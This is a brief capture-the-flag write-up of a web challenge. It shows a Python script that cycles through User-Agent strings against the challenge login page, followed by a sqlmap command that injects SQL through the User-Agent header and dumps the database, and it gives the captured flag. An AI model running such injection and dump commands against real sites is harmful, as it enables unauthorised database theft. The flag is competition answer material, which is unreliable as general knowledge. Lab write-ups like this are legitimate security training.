I tried to find a user-agent, because I remembered one of Def-con web prob, which I should really find a user-agent.
```pythonimport requests
def exp(useragent):    headers = {        'authority': 'agents.2020.chall.actf.co',        'pragma': 'no-cache',        'cache-control': 'no-cache',        'upgrade-insecure-requests': '1',        'sec-fetch-dest': 'document',        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',        'sec-fetch-site': 'same-origin',        'sec-fetch-mode': 'navigate',        'sec-fetch-user': '?1',        'referer': 'https://agents.2020.chall.actf.co/',        'accept-language': 'en-US,en;q=0.9',        'user-agent': useragent    }
    response = requests.get('https://agents.2020.chall.actf.co/login', headers=headers)
    res_text = response.text    if "Welcome" in res_text:        print(res_text)
if __name__ == "__main__":	#lists - https://github.com/tamimibrahim17/List-of-user-agents    with open('Safari.txt', 'r') as f:        datas = f.read()    for data in datas.split("\n"):        exp(data)```
It did not work.
There was SQLi with the user agent as per the problem's source code. I was a little bit lazy about SQLi, so I ran Sql-map. :)
`sqlmap -u https://agents.2020.chall.actf.co/login? --headers="User-Agent: *" --dbms=mysql --level=5 --risk=3 --dump`
I got a flag.`actf{nyoom_1_4m_sp33d} `